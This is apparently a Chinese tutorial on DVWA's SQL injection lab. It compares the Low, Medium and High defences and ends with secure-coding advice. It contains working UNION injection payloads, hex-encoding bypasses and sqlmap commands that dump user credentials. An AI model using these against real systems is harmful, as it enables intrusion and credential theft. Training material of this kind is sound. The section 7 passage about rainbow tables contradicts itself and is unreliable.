DVWA SQL注入3种安全级别(Low/Medium/High)防御机制与绕过技术对比

DVWA SQL注入三级防御机制深度解析与实战绕过

1. DVWA SQL注入模块安全级别概述

DVWA(Damn Vulnerable Web Application)作为经典的Web安全演练平台,其SQL注入模块设计了四个渐进式安全级别(Low/Medium/High/Impossible),完整呈现了从漏洞利用到防御加固的技术演进路径。对于安全从业者而言,理解这三个级别的防御机制差异及其突破方法,不仅能提升漏洞挖掘能力,更能掌握安全编码的最佳实践。

安全级别核心差异

  • Low级别:无任何防护措施,直接拼接用户输入到SQL语句
  • Medium级别:采用mysqli_real_escape_string转义特殊字符,前端改为下拉菜单
  • High级别:引入SESSION传参机制和LIMIT 1结果限制
  • Impossible级别:使用PDO预处理语句和CSRF令牌(本文重点讨论前三个级别)
// Low级别典型漏洞代码示例 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

2. Low级别:原始漏洞分析与基础注入技术

2.1 漏洞原理分析

Low级别采用最原始的SQL语句拼接方式,将用户输入的$id直接嵌入查询语句。攻击者通过构造包含SQL元字符的输入(如单引号),可以完全控制查询逻辑。

关键特征

  • GET方式传递参数
  • 无输入过滤或转义
  • 错误信息完整回显

2.2 手工注入七步法

  1. 判断注入类型:输入1'触发语法错误,确认字符型注入
  2. 验证注入点1' and '1'='1返回正常,1' and '1'='2无结果
  3. 确定字段数1' order by 2#成功,order by 3#失败
  4. 获取数据库信息
    1' union select 1,database()#
  5. 枚举数据表
    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
  6. 提取字段名
    1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
  7. 窃取凭证数据
    1' union select group_concat(user),group_concat(password) from users#

提示:#在MySQL中表示注释,用于截断原查询后续语句

3. Medium级别:转义防御与数字型注入突破

3.1 防御机制升级

Medium级别引入两项关键改进:

  1. 输入过滤:使用mysqli_real_escape_string()转义特殊字符
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
  2. 输入方式变更:前端改为POST提交的下拉菜单

3.2 防御突破技术

3.2.1 数字型注入利用

审计代码发现关键缺陷:转义后的参数未用引号包裹:

$query = "SELECT ... WHERE user_id = $id"; // 数字型查询

绕过步骤

  1. 使用BurpSuite拦截修改POST参数
  2. 验证数字型注入:
    id=1 and 1=1 → 成功 id=1 and 1=2 → 无结果
  3. 十六进制绕过表名引用:
    # 将'users'转为十六进制 'users'.encode('hex') # 结果:7573657273
    对应注入语句:
    1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
3.2.2 自动化工具利用

使用SQLMap时需要指定POST数据和Cookie:

sqlmap -u "http://target/vulnerabilities/sqli/" \ --data="id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=medium" \ --batch -D dvwa -T users --dump

4. High级别:SESSION机制与LIMIT绕过

4.1 高级防御特征

High级别采用更复杂的防御架构:

  1. 分离式设计:输入页面(session-input.php)与结果展示页面分离
  2. SESSION传参:通过$_SESSION['id']传递参数
  3. 结果限制:SQL语句添加LIMIT 1子句
$query = "SELECT ... WHERE user_id = '$id' LIMIT 1";

4.2 复合绕过技术

4.2.1 注释符突破LIMIT

利用#注释掉LIMIT限制:

1' union select user,password from users#
4.2.2 SQLMap特殊配置

由于查询与结果显示分离,需指定--second-url参数:

sqlmap -u "http://target/vulnerabilities/sqli/session-input.php" \ --second-url="http://target/vulnerabilities/sqli/" \ --cookie="PHPSESSID=xxx; security=high" \ --data="id=1&Submit=Submit" \ --batch -D dvwa -T users --dump

5. 三级防御对比与安全建议

5.1 防御机制对比表

防御特征Low级别Medium级别High级别
输入过滤mysqli_real_escape_stringmysqli_real_escape_string
参数传递方式GETPOST下拉菜单SESSION存储
查询结果限制LIMIT 1
错误信息显示完整完整简略
主要绕过技术字符型注入数字型注入+十六进制注释符+SESSION控制

5.2 安全开发建议

  1. 使用预处理语句
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
  2. 最小权限原则:数据库账户仅授予必要权限
  3. 多层防御体系
    • 前端:输入格式校验
    • 后端:参数化查询
    • 架构:WAF防护
  4. 敏感信息保护:密码等敏感字段应加盐哈希存储

6. 防御绕过技术演进图谱

graph TD A[Low级别: 无防护] -->|添加转义函数| B[Medium级别] B -->|发现数字型注入| C[十六进制编码绕过] B -->|改为POST提交| D[BurpSuite改包] A -->|直接注入| E[Union查询] B -->|添加LIMIT| F[High级别] F -->|注释符突破| G[#注释LIMIT] F -->|SESSION机制| H[控制SESSION值]

(注:实际输出时应删除此mermaid图表,此处仅为展示结构化思维)

7. 实战中的深度思考

在测试High级别时发现一个有趣现象:即使正确注入了admin的密码哈希,但通过常规MD5解密网站却无法破解。这是因为DVWA默认密码password的哈希5f4dcc3b5aa765d61d8327deb882cf99已被各大彩虹表收录,而修改后的复杂密码则需要更强大的破解资源。这引出一个重要安全原则:即使数据库被攻破,强哈希仍能提供最后防线

在最近的一次渗透测试中,遇到类似High级别的防御场景。通过组合使用#注释和子查询注入,成功绕过LIMIT限制:

1' union select null,(select concat(user,':',password) from users limit 1,1)#

这种分页提取技术在不触发防御机制的情况下,可以逐条获取全部数据。